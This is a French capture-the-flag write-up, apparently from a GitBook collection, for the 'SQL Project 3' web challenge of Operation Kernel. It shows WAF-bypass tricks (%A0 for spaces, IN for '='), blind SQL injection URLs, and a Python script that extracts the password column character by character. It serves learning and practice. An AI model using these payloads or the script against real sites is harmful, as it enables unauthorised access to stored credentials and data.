Writeups
  • ℹ️Infos
  • 🗓️2021
    • DvCTF (to join DaVinciCode)
      • Crypto
        • Baby RSA
        • Ressaye
        • Unbreakable encryption
      • Forensics
        • Broken Portrait
        • Russian Dolls
        • Sus USB
      • Misc
        • Jus de Flag
        • Welcome
      • OSINT
        • Absolutely Nuts
      • Progra
        • Snoop's Mission
      • Reverse
        • Baby Reverse
        • Basic Cracking
        • Code Pyn
      • Steganography
        • Colorful Code
        • Hurt Your Eyes
        • Orchestra of Flags
        • Tyger
      • Web
        • Have I Been Pwned
        • What's Up ?
  • 🗓️2022
    • DvCTF 2022
      • Crypto
        • Cwryptographic Owacle
        • Secure Or Not Secure
        • small weiner
      • Forensics
        • Very Bad Script
      • Misc
        • Data Leak
        • Going postal
        • The Hacker Man
      • OSINT
        • Elon Musk
        • Monkeey
        • Painting Spot
        • Welcome to the DaVinciCTF!
      • Pentest
        • DaVinci's Playlist : Part 1
        • DaVinci's Playlist : Part 2.5
        • DaVinci's Playlist : Part 2
      • Programming
        • Heaven's Gate
        • Sudoku
        • TicTacToe
      • Reverse
        • CryptoVault
        • Mine Game
        • Obfuscated
        • Peripheral Interface Controller XVI
      • Steganography
        • ICMP
        • The Arts of Details
        • Treasure
      • Warmup
        • EBG13
        • FrenchFlag
        • MP3
        • QmFzZTY0
        • RSA
        • Welcome
      • Web
        • CyberStreak v1.0
        • 🎵
    • picoCTF 2022
      • Challs WU
    • @HackDay - Qualifications
      • Crypto
        • Francis Bacon
        • Francs Maçons
        • Rotate-me!
        • Un message codé ?
      • Forensics
        • bad_timing_for_reversing
      • Hardware
        • Cubik'cipher
        • WebSDR
      • Reverse
        • Calling Conventions
        • Memory Investigation
      • Steganography
        • I can make pictures
        • J'ai perdu le flag :(
        • Pokémons
        • Un coup de maître
        • Un logo cachotier
      • Web
        • GIT!
        • Part. 1 - Uploads
        • Part. 2 - Old md5
        • Part. 3 - sudo python
    • 404CTF
      • Crypto
        • Un simple oracle [1/2]
        • Un simple oracle [2/2]
      • Misc
        • Je suis une théière
        • Pierre-papier-Hallebarde
        • GoGOLFplex
      • OSINT
        • À l'aube d'un échange
        • Collaborateur suspect
        • Equipement désuet
      • Reverse
        • Mot de passe ?
      • Steganography
        • La plume à la main
        • PNG : Un logo obèse [1/4]
        • PNG : Drôles de chimères [2/4]
        • Toujours obèse [3/4]
      • Web
        • Fiché JS
        • Le braquage
        • Du gâteau
        • En construction !
    • Operation Kernel
      • Crypto
        • Scytale
      • Forensics
        • Research Paper
        • Excel Confidential
      • Reverse
        • CryptoLocker
        • What_If_CryptoLocker
      • Social Engineering
        • Pour vivre secure vivons caché
        • Pour vivre secure vivons caché Part 2
      • Stegano
        • AudioSpectre
        • Datacenter
        • Takazume
      • WEB
        • Research paper blog
        • SQL Project 1
        • SQL Project 2
        • SQL Project 3
        • Tenue de soirée requise
  • 🗓️2023
    • 404CTF 2023
      • Résultats
      • Analyse forensique
        • Pêche au livre
        • Le Mystère du roman d'amour
        • Les Mystères du cluster de la Comtesse de Ségur [1/2]
        • Lettres volatiles
        • Note de bas de page
      • Cloud
        • Le Sot
        • Le Cluster de Madame Bovary
        • Harpagon et le magot
        • Les nuages menaçants 1/3
        • Les nuages menaçants 2/3
      • Cryptanalyse
        • Recette
        • ASCON Marchombre
      • Divers
        • Bienvenue
        • Exemple de connexion à distance
        • Discord
        • À vos plumes !
      • Exploitation de binaires
        • Je veux la lune !
      • Programmation
        • L'Inondation
        • Des mots, des mots, des mots
      • Radio-Fréquence
        • Navi
        • Avez-vous vu les cascades du hérisson ?
        • Le Plombier du câble
        • Ballistic Missile Submarine
      • Renseignement en sources ouvertes
        • Le Tour de France
        • Les OSINTables [1/3]
        • Un vol ?
        • L'âme d'un poète et le coeur d'une femme [1/4]
        • L'âme d'un poète et le coeur d'une femme [2/4]
        • L'âme d'un poète et le coeur d'une femme [3/4]
        • L'âme d'un poète et le coeur d'une femme [4/4]
      • Rétro Ingénierie
        • Le Divin Crackme
        • L'Inspiration en images
      • Sécurité Matérielle
        • Un courrier suspect
        • Un réveil difficile
      • Stéganographie
        • Odobenus Rosmarus
        • L'Œuvre
        • Les Félicitations
        • En Profondeur
        • Le Rouge et le vert, avec un soupçon de bleu
      • Web
        • Le Loup et le renard
        • L'Académie du détail
        • La Vie Française
        • Fuite en 1791
        • L'Épistolaire moderne
        • Chanson d'Inde
      • Web3
        • Art
        • L'Antiquaire, tête en l'air
  • 🗓️2025
    • 404CTF 2025
      • Résultats
      • Algorithmique Quantique
        • Machinerie quantique
        • Grover (1/2)
        • Grover (2/2)
      • Analyse forensique
        • USB 51
        • Forensic et Mat [1/2]
        • Apprenti Carver [1/2]
        • Dockerflag
        • Forensic et Mat [2/2]
        • Apprenti Carver [2/2]
        • Tape ton MDP
        • Toortik Triflexation [1/2]
        • Toortik Triflexation [2/2]
      • Cryptanalyse
        • Message lointain
        • Entretien galactique
        • R1R2
        • Saturn Cipher
        • Planètes anormales
        • Spacemark
        • You spin me round
        • Dérive dans l'espace
        • Lunette cosmico galactique
        • Jupiter Cipher
        • Courbe de Lancement
        • More Space
      • Divers
        • Bienvenue
        • Pix2Num
        • Politique de confidentialité
        • Space Traveller
        • Satellisation
        • Étoile binaire [2/2]
      • Exploitation de binaires
        • Gorfou en danger [1/3]
        • Gorfou en danger [2/3]
        • Gorfou en danger [3/3]
        • Spaaaaaaace
        • KerberINT Space Program
        • 22 bytes pour sauver l'univers
        • Bounty Machine
        • Space Odyssey
        • Solaris
        • Cosmic-Base
        • Kalaxy
        • Bokit
      • Intelligence Artificielle
        • Gorfoustral (1/3)
        • Gorfoustral (2/3)
        • Gorfoustral (3/3)
        • Du tatouage
      • Renseignement en sources ouvertes
        • L'addition est salée
        • Une mission inconnue
        • Earth Attack (0/2)
        • Un satellite qui vaut de l'or
        • Un peu de vacances
        • La ville en rose
        • Earth Attack (1/2)
        • La tête dans les étoiles
        • En eaux sombres
        • Earth Attack (2/2)
        • DPOsint
      • Réaliste
        • The LDAP Chronicles
        • Houston, we have a problem
        • Named Resolve
        • The AD Guardians
        • The GPO Mission
        • Ghost Membership
      • Rétro-Ingénierie
        • Cbizarre [1/2]
        • Cbizarre [2/2]
        • Reversconstrictor
        • 3x3cut3_m3
        • Inscription
        • Étoile binaire [1/2]
        • RFC 9452 bis: IP over Rockets with Quality of Service
      • Sécurité matérielle
        • Trop d'IQ
        • Space Radio
        • R16D4
        • Comment est votre température ?
        • Code Radiospatial n°1
        • Unidentified Serial Bus [1/2]
        • Unidentified Serial Bus [2/2]
      • Sécurité Web
        • Cheese Chess
        • Rainbow Rocket
        • Fire Server
        • Sideral Noise
        • Space Fleet Command
Powered by GitBook
On this page

Was this helpful?

  1. 2022
  2. Operation Kernel
  3. WEB

SQL Project 3

PreviousSQL Project 2NextTenue de soirée requise

Last updated 2 years ago

Was this helpful?

Catégorie: WEB - Points: 400 - Difficulté: Extrême - Solves: 28 Description: L'auteur d'un blog de sécurité informatique affirme que son site est parmi les plus securisé de tous et donc impénétrable. Ça ne coûte rien de vérifier une telle affirmation... Bien commencer : L'une des attaques les plus répandues sur les formulaires d'authentification en ligne reste l'injection SQL. Elle permet d'accéder à un grand nombre d'informations. Lien :

Solution: Pour résoudre ce challenge il faut trouver où injecter nos commandes. Bien que le login soit revenu c'est une perte de temps d'essayer car il est surprotégé. Essayons donc de nous ré-attaquer aux articles :

Alors nous pouvons réessayer de faire la même méthode qu'à l'étape 2 mais bon ça serait étonnant que le chall soit identique. Effectivement il y a bien un WAF plus costaud que précédemment : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2/**/ORDER/**/BY/**/1

Bon, donc il va falloir être ingénieux et chercher comment et quoi bypasser.

Repartons de la base des bases des injections. Essayons avec cette injection : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2/**/OR/**/id/**/=/**/4 Encore un message d'erreur d'erreur... Essayons de remplacer les espaces par %A0 : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2%A0OR%A0id%A0=%A04 Encore et toujours ce foutu message. Là il y a encore 2 choses qui peuvent éventuellement poser problème : le = et/ou le OR Essayons dans un premier temps de remplacer le = par IN : Ah ici il n'y a plus d'erreur mais seulement une 404 (peut être normal).

Maintenant nous savons qu'il faut bypasser les espaces par %A0 et que les = ne sont pas acceptés.

Après plusieurs jours de recherches (et de tests), j'ai enfin trouver qu'il s'agissait d'une Blind SQL et que ça n'allait pas nous arranger.

Voici un très bien fait sur les Blind SQL Avec ça nous allons pouvoir avancer un peu plus.

Nous pouvons commencer à faire des tests directement sachant que nous connaissons déjà le nom de la BDD : challv3, le nom de la table : user ainsi que la colonne spécifique où chercher : password. Mais ce n'est pas grâce à cela que l'on va pouvoir avoir le flag rapidement.

Passons alors aux tests d'injections. Pour vérifier que nos injections fonctionne bien, nous allons essayer de vérifier si le flag commence bien par H : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x48%A0in(substr(password,1,1))) La page se charge complètement donc notre injection est correcte !!! Pour expliquer cette injection, tout se passe après le and. Le 0x48 est le code ASCII en hexa de la lettre H. La suite de l'injection permet de vérifier qu'à la position 1 du password il y ai bien ce caractère. De toute façon nous allons faire 4 autres tests pour être sûr de bien comprendre : H : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x48%A0in(substr(password,1,1))) A : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x41%A0in(substr(password,2,1))) C : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x43%A0in(substr(password,3,1))) K : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x4B%A0in(substr(password,4,1))) { : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x7B%A0in(substr(password,5,1)))

Nous pouvons voir que nous changeons simplement le caractère ASCII et l'index du caractère pour chaque test.

Maintenant, plutôt que de faire tout ça à la main, faisons un programme qui le fera à notre place en moins de 2 minutes :

import requests

i = 1
flag = []

while i <= 30:
    for ascii in range(33, 127):
        code200 = requests.head(f'https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(binary({hex(ascii)})%A0in(substr(password,{i},1)))').status_code

        if code200 == 200:
            flag.append(chr(ascii))
            print(''.join(flag))
            i += 1
            break

print(f"Le flag final est {''.join(flag)}")

Et donc en laissant tourner le programme 2 à 3 minutes, le flag est directement donné à la fin.

🚩 FLAG
HACK{GG_SQLi_M1Ght_B3_Hidden!}

Ici le flag sera affiché caractère par caractère :

Et pour information au départ le flag n'était qu'en majuscules. Cela est normal car SQL ne fait pas la différence entre les majuscules et les minuscules. Il a donc fallu trouver un moyen de remédier à cela et cet m'a beaucoup aidé. Il fallait simplement ajouté un binary() autour de notre lettre hexadécimale pour voir la différence.

🗓️
article
https://secureblog.challenge.operation-kernel.fr/v3
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2%A0OR%A0id%A0IN%A04
article
image
image
image